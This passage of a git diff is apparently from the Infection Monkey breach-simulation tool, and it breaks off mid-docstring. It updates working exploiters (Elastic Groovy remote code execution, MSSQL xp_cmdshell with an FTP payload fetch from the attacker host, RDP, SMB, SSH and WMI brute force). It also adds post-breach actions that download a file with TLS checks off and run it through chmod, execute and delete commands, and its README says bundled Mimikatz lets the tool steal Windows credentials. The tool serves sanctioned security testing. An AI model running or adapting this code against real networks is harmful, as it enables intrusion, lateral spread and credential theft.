# Usual values are 'vulnerability' or 'brute_force'
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
|
||||
def __init__(self, host):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
self._exploit_info = {}
|
||||
|
|
|
@ -8,7 +8,8 @@ import json
|
|||
import logging
|
||||
import requests
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||
|
||||
import re
|
||||
|
@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
def exploit(self, url, command):
|
||||
command = re.sub(r"\\", r"\\\\\\\\", command)
|
||||
payload = self.JAVA_CMD % command
|
||||
response = requests.get(url, data=payload)
|
||||
try:
|
||||
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
|
||||
except requests.ReadTimeout:
|
||||
LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.")
|
||||
return False
|
||||
result = self.get_results(response)
|
||||
if not result:
|
||||
return False
|
||||
|
@ -79,4 +84,4 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
return False
|
||||
except Exception as e:
|
||||
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||
return False
|
||||
return False
|
||||
|
|
|
@ -1,11 +1,10 @@
|
|||
import os
|
||||
import platform
|
||||
from os import path
|
||||
import logging
|
||||
|
||||
import pymssql
|
||||
|
||||
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
__author__ = 'Maor Rayzin'
|
||||
|
||||
|
@ -15,10 +14,11 @@ LOG = logging.getLogger(__name__)
|
|||
class MSSQLExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
LOGIN_TIMEOUT = 15
|
||||
SQL_DEFAULT_TCP_PORT = '1433'
|
||||
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat')
|
||||
DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat'
|
||||
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
|
||||
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
|
||||
|
||||
def __init__(self, host):
|
||||
super(MSSQLExploiter, self).__init__(host)
|
||||
|
@ -60,7 +60,6 @@ class MSSQLExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
def handle_payload(self, cursor, payload):
|
||||
|
||||
"""
|
||||
Handles the process of payload sending and execution, prepares the attack and details.
|
||||
|
||||
|
@ -72,7 +71,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
True or False depends on process success
|
||||
"""
|
||||
|
||||
chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr)
|
||||
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
|
||||
|
||||
if chosen_attack.send_payload():
|
||||
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
||||
|
|
|
@ -8,6 +8,7 @@ from infection_monkey.exploit.tools import get_interface_to_target
|
|||
from pyftpdlib.authorizers import DummyAuthorizer
|
||||
from pyftpdlib.handlers import FTPHandler
|
||||
from pyftpdlib.servers import FTPServer
|
||||
from time import sleep
|
||||
|
||||
|
||||
__author__ = 'Maor Rayzin'
|
||||
|
@ -17,7 +18,8 @@ FTP_SERVER_PORT = 1026
|
|||
FTP_SERVER_ADDRESS = ''
|
||||
FTP_SERVER_USER = 'brute'
|
||||
FTP_SERVER_PASSWORD = 'force'
|
||||
FTP_WORKING_DIR = '.'
|
||||
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
|
||||
FTP_WORK_DIR_LINUX = '/tmp/'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -30,37 +32,29 @@ class FTP(object):
|
|||
user (str): User for FTP server auth
|
||||
password (str): Password for FTP server auth
|
||||
working_dir (str): The local working dir to init the ftp server on.
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
|
||||
working_dir=FTP_WORKING_DIR):
|
||||
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
|
||||
"""Look at class level docstring."""
|
||||
|
||||
self.dst_ip = host.ip_addr
|
||||
self.user = user
|
||||
self.password = password
|
||||
self.working_dir = working_dir
|
||||
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
|
||||
|
||||
def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
|
||||
working_dir=FTP_WORKING_DIR):
|
||||
def run_server(self):
|
||||
|
||||
""" Configures and runs the ftp server to listen forever until stopped.
|
||||
|
||||
Args:
|
||||
user (str): User for FTP server auth
|
||||
password (str): Password for FTP server auth
|
||||
working_dir (str): The local working dir to init the ftp server on.
|
||||
"""
|
||||
|
||||
# Defining an authorizer and configuring the ftp user
|
||||
authorizer = DummyAuthorizer()
|
||||
authorizer.add_user(user, password, working_dir, perm='elradfmw')
|
||||
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
|
||||
|
||||
# Normal ftp handler
|
||||
handler = FTPHandler
|
||||
handler.authorizer = authorizer
|
||||
|
||||
address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT)
|
||||
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
|
||||
|
||||
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
|
||||
self.server = FTPServer(address, handler)
|
||||
|
@ -100,14 +94,15 @@ class CmdShellAttack(AttackHost):
|
|||
Args:
|
||||
payload_path (str): The local path of the payload file
|
||||
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
|
||||
host (model.host.VictimHost): Host this attack is going to target
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, payload_path, cursor, dst_ip_address):
|
||||
def __init__(self, payload_path, cursor, host):
|
||||
super(CmdShellAttack, self).__init__(payload_path)
|
||||
self.ftp_server, self.ftp_server_p = self.__init_ftp_server()
|
||||
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
|
||||
self.cursor = cursor
|
||||
self.attacker_ip = get_interface_to_target(dst_ip_address)
|
||||
self.attacker_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
def send_payload(self):
|
||||
"""
|
||||
|
@ -121,7 +116,6 @@ class CmdShellAttack(AttackHost):
|
|||
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
|
||||
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
|
||||
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
|
||||
|
||||
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
|
||||
.format(self.payload_path)
|
||||
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
|
||||
|
@ -129,11 +123,11 @@ class CmdShellAttack(AttackHost):
|
|||
|
||||
# Checking to see if ftp server is up
|
||||
if self.ftp_server_p and self.ftp_server:
|
||||
|
||||
try:
|
||||
# Running the cmd on remote host
|
||||
for cmd in shellcmds:
|
||||
self.cursor.execute(cmd)
|
||||
sleep(0.5)
|
||||
except Exception as e:
|
||||
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
|
||||
self.ftp_server_p.terminate()
|
||||
|
@ -174,7 +168,7 @@ class CmdShellAttack(AttackHost):
|
|||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
|
||||
except pymssql.OperationalError:
|
||||
except pymssql.OperationalError as e:
|
||||
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
|
@ -193,7 +187,7 @@ class CmdShellAttack(AttackHost):
|
|||
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
|
||||
return False
|
||||
|
||||
def __init_ftp_server(self):
|
||||
def __init_ftp_server(self, host):
|
||||
"""
|
||||
Init an FTP server using FTP class on a different process
|
||||
|
||||
|
@ -203,7 +197,7 @@ class CmdShellAttack(AttackHost):
|
|||
"""
|
||||
|
||||
try:
|
||||
ftp_s = FTP()
|
||||
ftp_s = FTP(host)
|
||||
multiprocessing.log_to_stderr(logging.DEBUG)
|
||||
p = multiprocessing.Process(target=ftp_s.run_server)
|
||||
p.start()
|
||||
|
|
|
@ -16,6 +16,7 @@ from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
|||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.utils import utf_to_ascii
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -235,6 +236,7 @@ class CMDClientFactory(rdp.ClientFactory):
|
|||
class RdpExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
|
||||
def __init__(self, host):
|
||||
super(RdpExploiter, self).__init__(host)
|
||||
|
|
|
@ -9,12 +9,14 @@ from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDL
|
|||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
||||
class SmbExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
|
|
|
@ -10,6 +10,7 @@ from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
|
|||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -20,6 +21,7 @@ TRANSFER_UPDATE_RATE = 15
|
|||
|
||||
class SSHExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['linux', None]
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
|
||||
def __init__(self, host):
|
||||
super(SSHExploiter, self).__init__(host)
|
||||
|
|
|
@ -7,7 +7,6 @@ import socket
|
|||
import struct
|
||||
import sys
|
||||
import urllib
|
||||
from difflib import get_close_matches
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
|
@ -19,7 +18,6 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
|||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.network import local_ips
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port, get_routes
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
|
@ -418,9 +416,15 @@ class HTTPTools(object):
|
|||
|
||||
def get_interface_to_target(dst):
|
||||
if sys.platform == "win32":
|
||||
ips = local_ips()
|
||||
matches = get_close_matches(dst, ips)
|
||||
return matches[0] if (len(matches) > 0) else ips[0]
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
|
@ -430,17 +434,17 @@ def get_interface_to_target(dst):
|
|||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
pathes = []
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
pathes.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
pathes.append((m, (i, a, gw)))
|
||||
if not pathes:
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
pathes.sort()
|
||||
ret = pathes[-1][1]
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
|
|
|
@ -9,12 +9,14 @@ from infection_monkey.exploit import HostExploiter
|
|||
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
|
||||
get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WmiExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
|
||||
def __init__(self, host):
|
||||
super(WmiExploiter, self).__init__(host)
|
||||
|
|
|
@ -16,6 +16,9 @@ from infection_monkey.network.network_scanner import NetworkScanner
|
|||
from infection_monkey.system_info import SystemInfoCollector
|
||||
from infection_monkey.system_singleton import SystemSingleton
|
||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -76,6 +79,9 @@ class InfectionMonkey(object):
|
|||
LOG.info("Monkey couldn't find server. Going down.")
|
||||
return
|
||||
|
||||
# Create a dir for monkey files if there isn't one
|
||||
utils.create_monkey_dir()
|
||||
|
||||
if WindowsUpgrader.should_upgrade():
|
||||
self._upgrading_to_64 = True
|
||||
self._singleton.unlock()
|
||||
|
@ -113,6 +119,8 @@ class InfectionMonkey(object):
|
|||
action = action_class()
|
||||
action.act()
|
||||
|
||||
PostBreach().execute()
|
||||
|
||||
if 0 == WormConfiguration.depth:
|
||||
LOG.debug("Reached max depth, shutting down")
|
||||
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
||||
|
@ -167,44 +175,19 @@ class InfectionMonkey(object):
|
|||
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
||||
machine.set_default_server(self._default_server)
|
||||
|
||||
successful_exploiter = None
|
||||
# Order exploits according to their type
|
||||
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
|
||||
host_exploited = False
|
||||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||
if not exploiter.is_os_supported():
|
||||
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
||||
exploiter.__class__.__name__, machine)
|
||||
continue
|
||||
|
||||
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
||||
|
||||
result = False
|
||||
try:
|
||||
result = exploiter.exploit_host()
|
||||
if result:
|
||||
successful_exploiter = exploiter
|
||||
break
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.exception("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
finally:
|
||||
exploiter.send_exploit_telemetry(result)
|
||||
|
||||
if successful_exploiter:
|
||||
self._exploited_machines.add(machine)
|
||||
|
||||
LOG.info("Successfully propagated to %s using %s",
|
||||
machine, successful_exploiter.__class__.__name__)
|
||||
|
||||
# check if max-exploitation limit is reached
|
||||
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
|
||||
self._keep_running = False
|
||||
|
||||
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
||||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
|
||||
break
|
||||
else:
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
|
||||
if not self._keep_running:
|
||||
break
|
||||
|
||||
if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
|
||||
time_to_sleep = WormConfiguration.timeout_between_iterations
|
||||
|
@ -242,6 +225,7 @@ class InfectionMonkey(object):
|
|||
self.send_log()
|
||||
self._singleton.unlock()
|
||||
|
||||
utils.remove_monkey_dir()
|
||||
InfectionMonkey.self_delete()
|
||||
LOG.info("Monkey is shutting down")
|
||||
|
||||
|
@ -279,3 +263,50 @@ class InfectionMonkey(object):
|
|||
log = ''
|
||||
|
||||
ControlClient.send_log(log)
|
||||
|
||||
def try_exploiting(self, machine, exploiter):
|
||||
"""
|
||||
Workflow of exploiting one machine with one exploiter
|
||||
:param machine: Machine monkey tries to exploit
|
||||
:param exploiter: Exploiter to use on that machine
|
||||
:return: True if successfully exploited, False otherwise
|
||||
"""
|
||||
if not exploiter.is_os_supported():
|
||||
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
||||
exploiter.__class__.__name__, machine)
|
||||
return False
|
||||
|
||||
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
||||
|
||||
result = False
|
||||
try:
|
||||
result = exploiter.exploit_host()
|
||||
if result:
|
||||
self.successfully_exploited(machine, exploiter)
|
||||
return True
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.exception("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
finally:
|
||||
exploiter.send_exploit_telemetry(result)
|
||||
return False
|
||||
|
||||
def successfully_exploited(self, machine, exploiter):
|
||||
"""
|
||||
Workflow of registering successfully exploited machine
|
||||
:param machine: machine that was exploited
|
||||
:param exploiter: exploiter that succeeded
|
||||
"""
|
||||
self._exploited_machines.add(machine)
|
||||
|
||||
LOG.info("Successfully propagated to %s using %s",
|
||||
machine, exploiter.__class__.__name__)
|
||||
|
||||
# check if max-exploitation limit is reached
|
||||
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
|
||||
self._keep_running = False
|
||||
|
||||
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
import requests
|
||||
import os
|
||||
import logging
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
# Default commands for executing PBA file and then removing it
|
||||
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
|
||||
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
|
||||
|
||||
|
||||
class FileExecution(PBA):
|
||||
"""
|
||||
Defines user's file execution post breach action.
|
||||
"""
|
||||
def __init__(self, linux_command="", windows_command=""):
|
||||
self.linux_filename = WormConfiguration.PBA_linux_filename
|
||||
self.windows_filename = WormConfiguration.PBA_windows_filename
|
||||
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
|
||||
|
||||
def _execute_linux(self):
|
||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
|
||||
return super(FileExecution, self)._execute_linux()
|
||||
|
||||
def _execute_win(self):
|
||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
|
||||
return super(FileExecution, self)._execute_win()
|
||||
|
||||
def add_default_command(self, is_linux):
|
||||
"""
|
||||
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
|
||||
and finally deletes post breach file).
|
||||
Default commands are defined as globals in this module.
|
||||
:param is_linux: Boolean that indicates for which OS the command is being set.
|
||||
"""
|
||||
if is_linux:
|
||||
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
|
||||
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
|
||||
else:
|
||||
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
|
||||
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
|
||||
|
||||
@staticmethod
|
||||
def download_PBA_file(dst_dir, filename):
|
||||
"""
|
||||
Handles post breach action file download
|
||||
:param dst_dir: Destination directory
|
||||
:param filename: Filename
|
||||
:return: True if successful, false otherwise
|
||||
"""
|
||||
|
||||
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
try:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
written_PBA_file.write(PBA_file_contents.content)
|
||||
return True
|
||||
except IOError as e:
|
||||
LOG.error("Can not download post breach file to target machine, because %s" % e)
|
||||
return False
|
|
@ -0,0 +1,68 @@
|
|||
import logging
|
||||
from infection_monkey.control import ControlClient
|
||||
import subprocess
|
||||
import socket
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
||||
class PBA(object):
|
||||
"""
|
||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||
"""
|
||||
def __init__(self, name="unknown", linux_command="", windows_command=""):
|
||||
"""
|
||||
:param name: Name of post breach action.
|
||||
:param linux_command: Command that will be executed on linux machine
|
||||
:param windows_command: Command that will be executed on windows machine
|
||||
"""
|
||||
self.linux_command = linux_command
|
||||
self.windows_command = windows_command
|
||||
self.name = name
|
||||
|
||||
def run(self, is_linux):
|
||||
"""
|
||||
Runs post breach action command
|
||||
:param is_linux: boolean that indicates on which os monkey is running
|
||||
"""
|
||||
if is_linux:
|
||||
command = self.linux_command
|
||||
exec_funct = self._execute_linux
|
||||
else:
|
||||
command = self.windows_command
|
||||
exec_funct = self._execute_win
|
||||
if command:
|
||||
hostname = socket.gethostname()
|
||||
ControlClient.send_telemetry('post_breach', {'command': command,
|
||||
'result': exec_funct(),
|
||||
'name': self.name,
|
||||
'hostname': hostname,
|
||||
'ip': socket.gethostbyname(hostname)
|
||||
})
|
||||
|
||||
def _execute_linux(self):
|
||||
"""
|
||||
Default linux PBA execution function. Override it if additional functionality is needed
|
||||
"""
|
||||
return self._execute_default(self.linux_command)
|
||||
|
||||
def _execute_win(self):
|
||||
"""
|
||||
Default linux PBA execution function. Override it if additional functionality is needed
|
||||
"""
|
||||
return self._execute_default(self.windows_command)
|
||||
|
||||
@staticmethod
|
||||
def _execute_default(command):
|
||||
"""
|
||||
Default post breach command execution routine
|
||||
:param command: What command to execute
|
||||
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
||||
"""
|
||||
try:
|
||||
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
|
||||
except subprocess.CalledProcessError as e:
|
||||
# Return error output of the command
|
||||
return e.output, False
|
|
@ -0,0 +1,83 @@
|
|||
import logging
|
||||
import infection_monkey.config
|
||||
from file_execution import FileExecution
|
||||
from pba import PBA
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
DIR_CHANGE_WINDOWS = 'cd %s & '
|
||||
DIR_CHANGE_LINUX = 'cd %s ; '
|
||||
|
||||
|
||||
class PostBreach(object):
|
||||
"""
|
||||
This class handles post breach actions execution
|
||||
"""
|
||||
def __init__(self):
|
||||
self.os_is_linux = not is_windows_os()
|
||||
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
|
||||
|
||||
def execute(self):
|
||||
"""
|
||||
Executes all post breach actions.
|
||||
"""
|
||||
for pba in self.pba_list:
|
||||
pba.run(self.os_is_linux)
|
||||
LOG.info("Post breach actions executed")
|
||||
|
||||
@staticmethod
|
||||
def config_to_pba_list(config):
|
||||
"""
|
||||
Returns a list of PBA objects generated from config.
|
||||
:param config: Monkey configuration
|
||||
:return: A list of PBA objects.
|
||||
"""
|
||||
pba_list = []
|
||||
pba_list.extend(PostBreach.get_custom_PBA(config))
|
||||
|
||||
return pba_list
|
||||
|
||||
@staticmethod
|
||||
def get_custom_PBA(config):
|
||||
"""
|
||||
Creates post breach actions depending on users input into 'custom post breach' config section
|
||||
:param config: monkey's configuration
|
||||
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
|
||||
"""
|
||||
custom_list = []
|
||||
file_pba = FileExecution()
|
||||
command_pba = PBA(name="Custom")
|
||||
|
||||
if not is_windows_os():
|
||||
# Add linux commands to PBA's
|
||||
if config.PBA_linux_filename:
|
||||
if config.custom_PBA_linux_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
|
||||
else:
|
||||
file_pba.add_default_command(is_linux=True)
|
||||
elif config.custom_PBA_linux_cmd:
|
||||
command_pba.linux_command = config.custom_PBA_linux_cmd
|
||||
else:
|
||||
# Add windows commands to PBA's
|
||||
if config.PBA_windows_filename:
|
||||
if config.custom_PBA_windows_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
|
||||
config.custom_PBA_windows_cmd
|
||||
else:
|
||||
file_pba.add_default_command(is_linux=False)
|
||||
elif config.custom_PBA_windows_cmd:
|
||||
command_pba.windows_command = config.custom_PBA_windows_cmd
|
||||
|
||||
# Add PBA's to list
|
||||
if file_pba.linux_command or file_pba.windows_command:
|
||||
custom_list.append(file_pba)
|
||||
if command_pba.windows_command or command_pba.linux_command:
|
||||
custom_list.append(command_pba)
|
||||
|
||||
return custom_list
|
|
@ -13,7 +13,7 @@ The monkey is composed of three separate parts.
|
|||
Download and install from: https://www.python.org/downloads/release/python-2715/
|
||||
2. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
|
||||
a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different)
|
||||
setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts
|
||||
setx /M PATH "%PATH%;C:\Python27;C:\Python27\Scripts
|
||||
b. Close the console, make sure you execute all commands in a new cmd console from now on.
|
||||
3. Install further dependencies
|
||||
a. install VCForPython27.msi
|
||||
|
@ -72,8 +72,7 @@ b. Download our pre-built sambacry binaries
|
|||
|
||||
-- Mimikatz --
|
||||
|
||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
||||
You can either build them yourself or download pre-built binaries.
|
||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository.
|
||||
a. Build Mimikatz yourself
|
||||
a.0. Building mimikatz requires Visual Studio 2013 and up
|
||||
a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0
|
||||
|
@ -84,7 +83,7 @@ a. Build Mimikatz yourself
|
|||
a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
||||
a.3.4. Zipping with 7zip has been tested. Other zipping software may not work.
|
||||
|
||||
b. Download our pre-built traceroute binaries
|
||||
b. Download our pre-built mimikatz binaries
|
||||
b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0
|
||||
b.2. Place them under [code location]\infection_monkey\bin
|
||||
|
||||
|
|
|
@ -17,3 +17,4 @@ ipaddress
|
|||
wmi
|
||||
pymssql
|
||||
pyftpdlib
|
||||
enum34
|
||||
|
|
|
@ -17,4 +17,5 @@ ipaddress
|
|||
wmi
|
||||
pywin32
|
||||
pymssql
|
||||
pyftpdlib
|
||||
pyftpdlib
|
||||
enum34
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
__author__ = 'VakarisZ'
|
|
@ -0,0 +1,41 @@
|
|||
from infection_monkey.config import WormConfiguration, GUID
|
||||
import requests
|
||||
import json
|
||||
from infection_monkey.control import ControlClient
|
||||
import logging
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AttackTelem(object):
|
||||
|
||||
def __init__(self, technique, status, data=None):
|
||||
"""
|
||||
Default ATT&CK telemetry constructor
|
||||
:param technique: Technique ID. E.g. T111
|
||||
:param status: int from ScanStatus Enum
|
||||
